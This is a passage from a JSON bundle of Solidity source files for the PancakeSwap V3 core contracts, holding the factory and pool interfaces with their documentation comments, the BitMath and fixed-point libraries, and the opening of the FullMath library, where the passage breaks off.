Returns true for a successful approval, false for unsuccessful\n function approve(address spender, uint256 amount) external returns (bool);\n\n /// @notice Transfers `amount` tokens from `sender` to `recipient` up to the allowance given to the `msg.sender`\n /// @param sender The account from which the transfer will be initiated\n /// @param recipient The recipient of the transfer\n /// @param amount The amount of the transfer\n /// @return Returns true for a successful transfer, false for unsuccessful\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /// @notice Event emitted when tokens are transferred from one address to another, either via `#transfer` or `#transferFrom`.\n /// @param from The account from which the tokens were sent, i.e. the balance decreased\n /// @param to The account to which the tokens were sent, i.e. the balance increased\n /// @param value The amount of tokens that were transferred\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /// @notice Event emitted when the approval amount for the spender of a given owner's tokens changes.\n /// @param owner The account that approved spending of its tokens\n /// @param spender The account for which the spending allowance was modified\n /// @param value The new allowance from the owner to the spender\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
},
"contracts/interfaces/IPancakeV3Factory.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title The interface for the PancakeSwap V3 Factory\n/// @notice The PancakeSwap V3 Factory facilitates creation of PancakeSwap V3 pools and control over the protocol fees\ninterface IPancakeV3Factory {\n struct TickSpacingExtraInfo {\n bool whitelistRequested;\n bool enabled;\n }\n\n /// @notice Emitted when the owner of the factory is changed\n /// @param oldOwner The owner before the owner was changed\n /// @param newOwner The owner after the owner was changed\n event OwnerChanged(address indexed oldOwner, address indexed newOwner);\n\n /// @notice Emitted when a pool is created\n /// @param token0 The first token of the pool by address sort order\n /// @param token1 The second token of the pool by address sort order\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks\n /// @param pool The address of the created pool\n event PoolCreated(\n address indexed token0,\n address indexed token1,\n uint24 indexed fee,\n int24 tickSpacing,\n address pool\n );\n\n /// @notice Emitted when a new fee amount is enabled for pool creation via the factory\n /// @param fee The enabled fee, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee\n event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);\n\n event FeeAmountExtraInfoUpdated(uint24 indexed fee, bool whitelistRequested, bool enabled);\n\n event WhiteListAdded(address indexed user, bool verified);\n\n /// @notice Emitted when LM pool deployer is set\n event SetLmPoolDeployer(address indexed lmPoolDeployer);\n\n /// @notice Returns the current owner of the factory\n /// @dev Can be changed by the current owner via setOwner\n /// @return The address of the factory owner\n function owner() external view returns (address);\n\n /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled\n /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context\n /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee\n /// @return The tick spacing\n function feeAmountTickSpacing(uint24 fee) external view returns (int24);\n\n /// @notice Returns the tick spacing extra info\n /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context\n /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee\n /// @return whitelistRequested The flag whether should be created by white list users only\n function feeAmountTickSpacingExtraInfo(uint24 fee) external view returns (bool whitelistRequested, bool enabled);\n\n /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist\n /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order\n /// @param tokenA The contract address of either token0 or token1\n /// @param tokenB The contract address of the other token\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @return pool The pool address\n function getPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external view returns (address pool);\n\n /// @notice Creates a pool for the given two tokens and fee\n /// @param tokenA One of the two tokens in the desired pool\n /// @param tokenB The other of the two tokens in the desired pool\n /// @param fee The desired fee for the pool\n /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved\n /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments\n /// are invalid.\n /// @return pool The address of the newly created pool\n function createPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external returns (address pool);\n\n /// @notice Updates the owner of the factory\n /// @dev Must be called by the current owner\n /// @param _owner The new owner of the factory\n function setOwner(address _owner) external;\n\n /// @notice Enables a fee amount with the given tickSpacing\n /// @dev Fee amounts may never be removed once enabled\n /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)\n /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount\n function enableFeeAmount(uint24 fee, int24 tickSpacing) external;\n\n /// @notice Set an address into white list\n /// @dev Address can be updated by owner with boolean value false\n /// @param user The user address that add into white list\n function setWhiteListAddress(address user, bool verified) external;\n\n /// @notice Set a fee amount extra info\n /// @dev Fee amounts can be updated by owner with extra info\n /// @param whitelistRequested The flag whether should be created by owner only\n /// @param enabled The flag is the fee is enabled or not\n function setFeeAmountExtraInfo(\n uint24 fee,\n bool whitelistRequested,\n bool enabled\n ) external;\n\n function setLmPoolDeployer(address _lmPoolDeployer) external;\n\n function setFeeProtocol(address pool, uint32 feeProtocol0, uint32 feeProtocol1) external;\n\n function collectProtocol(\n address pool,\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n\n function setLmPool(address pool, address lmPool) external;\n}\n"
},
"contracts/interfaces/IPancakeV3Pool.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\nimport './pool/IPancakeV3PoolImmutables.sol';\nimport './pool/IPancakeV3PoolState.sol';\nimport './pool/IPancakeV3PoolDerivedState.sol';\nimport './pool/IPancakeV3PoolActions.sol';\nimport './pool/IPancakeV3PoolOwnerActions.sol';\nimport './pool/IPancakeV3PoolEvents.sol';\n\n/// @title The interface for a PancakeSwap V3 Pool\n/// @notice A PancakeSwap pool facilitates swapping and automated market making between any two assets that strictly conform\n/// to the ERC20 specification\n/// @dev The pool interface is broken up into many smaller pieces\ninterface IPancakeV3Pool is\n IPancakeV3PoolImmutables,\n IPancakeV3PoolState,\n IPancakeV3PoolDerivedState,\n IPancakeV3PoolActions,\n IPancakeV3PoolOwnerActions,\n IPancakeV3PoolEvents\n{\n\n}\n"
},
"contracts/interfaces/IPancakeV3PoolDeployer.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title An interface for a contract that is capable of deploying PancakeSwap V3 Pools\n/// @notice A contract that constructs a pool must implement this to pass arguments to the pool\n/// @dev This is used to avoid having constructor arguments in the pool contract, which results in the init code hash\n/// of the pool being constant allowing the CREATE2 address of the pool to be cheaply computed on-chain\ninterface IPancakeV3PoolDeployer {\n /// @notice Get the parameters to be used in constructing the pool, set transiently during pool creation.\n /// @dev Called by the pool constructor to fetch the parameters of the pool\n /// Returns factory The factory address\n /// Returns token0 The first token of the pool by address sort order\n /// Returns token1 The second token of the pool by address sort order\n /// Returns fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// Returns tickSpacing The minimum number of ticks between initialized ticks\n function parameters()\n external\n view\n returns (\n address factory,\n address token0,\n address token1,\n uint24 fee,\n int24 tickSpacing\n );\n\n function deploy(\n address factory,\n address token0,\n address token1,\n uint24 fee,\n int24 tickSpacing\n ) external returns (address pool);\n}\n"
},
"contracts/interfaces/pool/IPancakeV3PoolActions.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissionless pool actions\n/// @notice Contains pool methods that can be called by anyone\ninterface IPancakeV3PoolActions {\n /// @notice Sets the initial price for the pool\n /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value\n /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96\n function initialize(uint160 sqrtPriceX96) external;\n\n /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position\n /// @dev The caller of this method receives a callback in the form of IPancakeV3MintCallback#pancakeV3MintCallback\n /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends\n /// on tickLower, tickUpper, the amount of liquidity, and the current price.\n /// @param recipient The address for which the liquidity will be created\n /// @param tickLower The lower tick of the position in which to add liquidity\n /// @param tickUpper The upper tick of the position in which to add liquidity\n /// @param amount The amount of liquidity to mint\n /// @param data Any data that should be passed through to the callback\n /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback\n /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Collects tokens owed to a position\n /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.\n /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or\n /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the\n /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.\n /// @param recipient The address which should receive the fees collected\n /// @param tickLower The lower tick of the position for which to collect fees\n /// @param tickUpper The upper tick of the position for which to collect fees\n /// @param amount0Requested How much token0 should be withdrawn from the fees owed\n /// @param amount1Requested How much token1 should be withdrawn from the fees owed\n /// @return amount0 The amount of fees collected in token0\n /// @return amount1 The amount of fees collected in token1\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n\n /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position\n /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0\n /// @dev Fees must be collected separately via a call to #collect\n /// @param tickLower The lower tick of the position for which to burn liquidity\n /// @param tickUpper The upper tick of the position for which to burn liquidity\n /// @param amount How much liquidity to burn\n /// @return amount0 The amount of token0 sent to the recipient\n /// @return amount1 The amount of token1 sent to the recipient\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Swap token0 for token1, or token1 for token0\n /// @dev The caller of this method receives a callback in the form of IPancakeV3SwapCallback#pancakeV3SwapCallback\n /// @param recipient The address to receive the output of the swap\n /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0\n /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)\n /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this\n /// value after the swap. If one for zero, the price cannot be greater than this value after the swap\n /// @param data Any data to be passed through to the callback\n /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive\n /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback\n /// @dev The caller of this method receives a callback in the form of IPancakeV3FlashCallback#pancakeV3FlashCallback\n /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling\n /// with 0 amount{0,1} and sending the donation amount(s) from the callback\n /// @param recipient The address which will receive the token0 and token1 amounts\n /// @param amount0 The amount of token0 to send\n /// @param amount1 The amount of token1 to send\n /// @param data Any data to be passed through to the callback\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external;\n\n /// @notice Increase the maximum number of price and liquidity observations that this pool will store\n /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to\n /// the input observationCardinalityNext.\n /// @param observationCardinalityNext The desired minimum number of observations for the pool to store\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;\n}\n"
},
"contracts/interfaces/pool/IPancakeV3PoolDerivedState.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that is not stored\n/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the\n/// blockchain. The functions here may have variable gas costs.\ninterface IPancakeV3PoolDerivedState {\n /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp\n /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing\n /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,\n /// you must call it with secondsAgos = [3600, 0].\n /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in\n /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.\n /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned\n /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp\n /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block\n /// timestamp\n function observe(uint32[] calldata secondsAgos)\n external\n view\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);\n\n /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range\n /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.\n /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first\n /// snapshot is taken and the second snapshot is taken.\n /// @param tickLower The lower tick of the range\n /// @param tickUpper The upper tick of the range\n /// @return tickCumulativeInside The snapshot of the tick accumulator for the range\n /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range\n /// @return secondsInside The snapshot of seconds per liquidity for the range\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n );\n}\n"
},
"contracts/interfaces/pool/IPancakeV3PoolEvents.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Events emitted by a pool\n/// @notice Contains all events emitted by the pool\ninterface IPancakeV3PoolEvents {\n /// @notice Emitted exactly once by a pool when #initialize is first called on the pool\n /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize\n /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96\n /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool\n event Initialize(uint160 sqrtPriceX96, int24 tick);\n\n /// @notice Emitted when liquidity is minted for a given position\n /// @param sender The address that minted the liquidity\n /// @param owner The owner of the position and recipient of any minted liquidity\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity minted to the position range\n /// @param amount0 How much token0 was required for the minted liquidity\n /// @param amount1 How much token1 was required for the minted liquidity\n event Mint(\n address sender,\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted when fees are collected by the owner of a position\n /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees\n /// @param owner The owner of the position for which fees are collected\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount0 The amount of token0 fees collected\n /// @param amount1 The amount of token1 fees collected\n event Collect(\n address indexed owner,\n address recipient,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount0,\n uint128 amount1\n );\n\n /// @notice Emitted when a position's liquidity is removed\n /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect\n /// @param owner The owner of the position for which liquidity is removed\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity to remove\n /// @param amount0 The amount of token0 withdrawn\n /// @param amount1 The amount of token1 withdrawn\n event Burn(\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted by the pool for any swaps between token0 and token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the output of the swap\n /// @param amount0 The delta of the token0 balance of the pool\n /// @param amount1 The delta of the token1 balance of the pool\n /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96\n /// @param liquidity The liquidity of the pool after the swap\n /// @param tick The log base 1.0001 of price of the pool after the swap\n /// @param protocolFeesToken0 The protocol fee of token0 in the swap\n /// @param protocolFeesToken1 The protocol fee of token1 in the swap\n event Swap(\n address indexed sender,\n address indexed recipient,\n int256 amount0,\n int256 amount1,\n uint160 sqrtPriceX96,\n uint128 liquidity,\n int24 tick,\n uint128 protocolFeesToken0,\n uint128 protocolFeesToken1\n );\n\n /// @notice Emitted by the pool for any flashes of token0/token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the tokens from flash\n /// @param amount0 The amount of token0 that was flashed\n /// @param amount1 The amount of token1 that was flashed\n /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee\n /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee\n event Flash(\n address indexed sender,\n address indexed recipient,\n uint256 amount0,\n uint256 amount1,\n uint256 paid0,\n uint256 paid1\n );\n\n /// @notice Emitted by the pool for increases to the number of observations that can be stored\n /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index\n /// just before a mint/swap/burn.\n /// @param observationCardinalityNextOld The previous value of the next observation cardinality\n /// @param observationCardinalityNextNew The updated value of the next observation cardinality\n event IncreaseObservationCardinalityNext(\n uint16 observationCardinalityNextOld,\n uint16 observationCardinalityNextNew\n );\n\n /// @notice Emitted when the protocol fee is changed by the pool\n /// @param feeProtocol0Old The previous value of the token0 protocol fee\n /// @param feeProtocol1Old The previous value of the token1 protocol fee\n /// @param feeProtocol0New The updated value of the token0 protocol fee\n /// @param feeProtocol1New The updated value of the token1 protocol fee\n event SetFeeProtocol(\n uint32 feeProtocol0Old,\n uint32 feeProtocol1Old,\n uint32 feeProtocol0New,\n uint32 feeProtocol1New\n );\n\n /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner\n /// @param sender The address that collects the protocol fees\n /// @param recipient The address that receives the collected protocol fees\n /// @param amount0 The amount of token0 protocol fees that is withdrawn\n /// @param amount0 The amount of token1 protocol fees that is withdrawn\n event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);\n}\n"
},
"contracts/interfaces/pool/IPancakeV3PoolImmutables.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that never changes\n/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values\ninterface IPancakeV3PoolImmutables {\n /// @notice The contract that deployed the pool, which must adhere to the IPancakeV3Factory interface\n /// @return The contract address\n function factory() external view returns (address);\n\n /// @notice The first of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token0() external view returns (address);\n\n /// @notice The second of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token1() external view returns (address);\n\n /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6\n /// @return The fee\n function fee() external view returns (uint24);\n\n /// @notice The pool tick spacing\n /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive\n /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...\n /// This value is an int24 to avoid casting even though it is always positive.\n /// @return The tick spacing\n function tickSpacing() external view returns (int24);\n\n /// @notice The maximum amount of position liquidity that can use any tick in the range\n /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and\n /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool\n /// @return The max amount of liquidity per tick\n function maxLiquidityPerTick() external view returns (uint128);\n}\n"
},
"contracts/interfaces/pool/IPancakeV3PoolOwnerActions.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissioned pool actions\n/// @notice Contains pool methods that may only be called by the factory owner\ninterface IPancakeV3PoolOwnerActions {\n /// @notice Set the denominator of the protocol's % share of the fees\n /// @param feeProtocol0 new protocol fee for token0 of the pool\n /// @param feeProtocol1 new protocol fee for token1 of the pool\n function setFeeProtocol(uint32 feeProtocol0, uint32 feeProtocol1) external;\n\n /// @notice Collect the protocol fee accrued to the pool\n /// @param recipient The address to which collected protocol fees should be sent\n /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1\n /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0\n /// @return amount0 The protocol fee collected in token0\n /// @return amount1 The protocol fee collected in token1\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n\n /// @notice Set the LM pool to enable liquidity mining\n function setLmPool(address lmPool) external;\n}\n"
},
"contracts/interfaces/pool/IPancakeV3PoolState.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that can change\n/// @notice These methods compose the pool's state, and can change with any frequency including multiple times\n/// per transaction\ninterface IPancakeV3PoolState {\n /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas\n /// when accessed externally.\n /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value\n /// tick The current tick of the pool, i.e. according to the last tick transition that was run.\n /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick\n /// boundary.\n /// observationIndex The index of the last oracle observation that was written,\n /// observationCardinality The current maximum number of observations stored in the pool,\n /// observationCardinalityNext The next maximum number of observations, to be updated when the observation.\n /// feeProtocol The protocol fee for both tokens of the pool.\n /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0\n /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.\n /// unlocked Whether the pool is currently locked to reentrancy\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint32 feeProtocol,\n bool unlocked\n );\n\n /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal0X128() external view returns (uint256);\n\n /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal1X128() external view returns (uint256);\n\n /// @notice The amounts of token0 and token1 that are owed to the protocol\n /// @dev Protocol fees will never exceed uint128 max in either token\n function protocolFees() external view returns (uint128 token0, uint128 token1);\n\n /// @notice The currently in range liquidity available to the pool\n /// @dev This value has no relationship to the total liquidity across all ticks\n function liquidity() external view returns (uint128);\n\n /// @notice Look up information about a specific tick in the pool\n /// @param tick The tick to look up\n /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or\n /// tick upper,\n /// liquidityNet how much liquidity changes when the pool price crosses the tick,\n /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,\n /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,\n /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick\n /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,\n /// secondsOutside the seconds spent on the other side of the tick from the current tick,\n /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.\n /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.\n /// In addition, these values are only relative and must be used only in comparison to previous snapshots for\n /// a specific position.\n function ticks(int24 tick)\n external\n view\n returns (\n uint128 liquidityGross,\n int128 liquidityNet,\n uint256 feeGrowthOutside0X128,\n uint256 feeGrowthOutside1X128,\n int56 tickCumulativeOutside,\n uint160 secondsPerLiquidityOutsideX128,\n uint32 secondsOutside,\n bool initialized\n );\n\n /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information\n function tickBitmap(int16 wordPosition) external view returns (uint256);\n\n /// @notice Returns the information about a position by the position's key\n /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper\n /// @return _liquidity The amount of liquidity in the position,\n /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,\n /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,\n /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,\n /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke\n function positions(bytes32 key)\n external\n view\n returns (\n uint128 _liquidity,\n uint256 feeGrowthInside0LastX128,\n uint256 feeGrowthInside1LastX128,\n uint128 tokensOwed0,\n uint128 tokensOwed1\n );\n\n /// @notice Returns data about a specific observation index\n /// @param index The element of the observations array to fetch\n /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time\n /// ago, rather than at a specific index in the array.\n /// @return blockTimestamp The timestamp of the observation,\n /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,\n /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,\n /// Returns initialized whether the observation has been initialized and the values are safe to use\n function observations(uint256 index)\n external\n view\n returns (\n uint32 blockTimestamp,\n int56 tickCumulative,\n uint160 secondsPerLiquidityCumulativeX128,\n bool initialized\n );\n}\n"
},
"contracts/libraries/BitMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title BitMath\n/// @dev This library provides functionality for computing bit properties of an unsigned integer\nlibrary BitMath {\n /// @notice Returns the index of the most significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// x >= 2**mostSignificantBit(x) and x < 2**(mostSignificantBit(x)+1)\n /// @param x the value for which to compute the most significant bit, must be greater than 0\n /// @return r the index of the most significant bit\n function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n if (x >= 0x100000000000000000000000000000000) {\n x >>= 128;\n r += 128;\n }\n if (x >= 0x10000000000000000) {\n x >>= 64;\n r += 64;\n }\n if (x >= 0x100000000) {\n x >>= 32;\n r += 32;\n }\n if (x >= 0x10000) {\n x >>= 16;\n r += 16;\n }\n if (x >= 0x100) {\n x >>= 8;\n r += 8;\n }\n if (x >= 0x10) {\n x >>= 4;\n r += 4;\n }\n if (x >= 0x4) {\n x >>= 2;\n r += 2;\n }\n if (x >= 0x2) r += 1;\n }\n\n /// @notice Returns the index of the least significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// (x & 2**leastSignificantBit(x)) != 0 and (x & (2**(leastSignificantBit(x)) - 1)) == 0)\n /// @param x the value for which to compute the least significant bit, must be greater than 0\n /// @return r the index of the least significant bit\n function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n r = 255;\n if (x & type(uint128).max > 0) {\n r -= 128;\n } else {\n x >>= 128;\n }\n if (x & type(uint64).max > 0) {\n r -= 64;\n } else {\n x >>= 64;\n }\n if (x & type(uint32).max > 0) {\n r -= 32;\n } else {\n x >>= 32;\n }\n if (x & type(uint16).max > 0) {\n r -= 16;\n } else {\n x >>= 16;\n }\n if (x & type(uint8).max > 0) {\n r -= 8;\n } else {\n x >>= 8;\n }\n if (x & 0xf > 0) {\n r -= 4;\n } else {\n x >>= 4;\n }\n if (x & 0x3 > 0) {\n r -= 2;\n } else {\n x >>= 2;\n }\n if (x & 0x1 > 0) r -= 1;\n }\n}\n"
},
"contracts/libraries/FixedPoint128.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint128\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\nlibrary FixedPoint128 {\n uint256 internal constant Q128 = 0x100000000000000000000000000000000;\n}\n"
},
"contracts/libraries/FixedPoint96.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint96\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\n/// @dev Used in SqrtPriceMath.sol\nlibrary FixedPoint96 {\n uint8 internal constant RESOLUTION = 96;\n uint256 internal constant Q96 = 0x1000000000000000000000000;\n}\n"
},
"contracts/libraries/FullMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0 <0.8.0;\n\n/// @title Contains 512-bit math functions\n/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision\n/// @dev Handles \"phantom overflow\" i.e., allows multiplication and division where an intermediate value overflows 256 bits\nlibrary FullMath {\n /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv\n function mulDiv(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n // 512-bit multiply [prod1 prod0] = a * b\n // Compute the product mod 2**256 and mod 2**256 - 1\n // then use the Chinese Remainder Theorem to reconstruct\n // the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2**256 + prod0\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(a, b, not(0))\n prod0 := mul(a, b)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 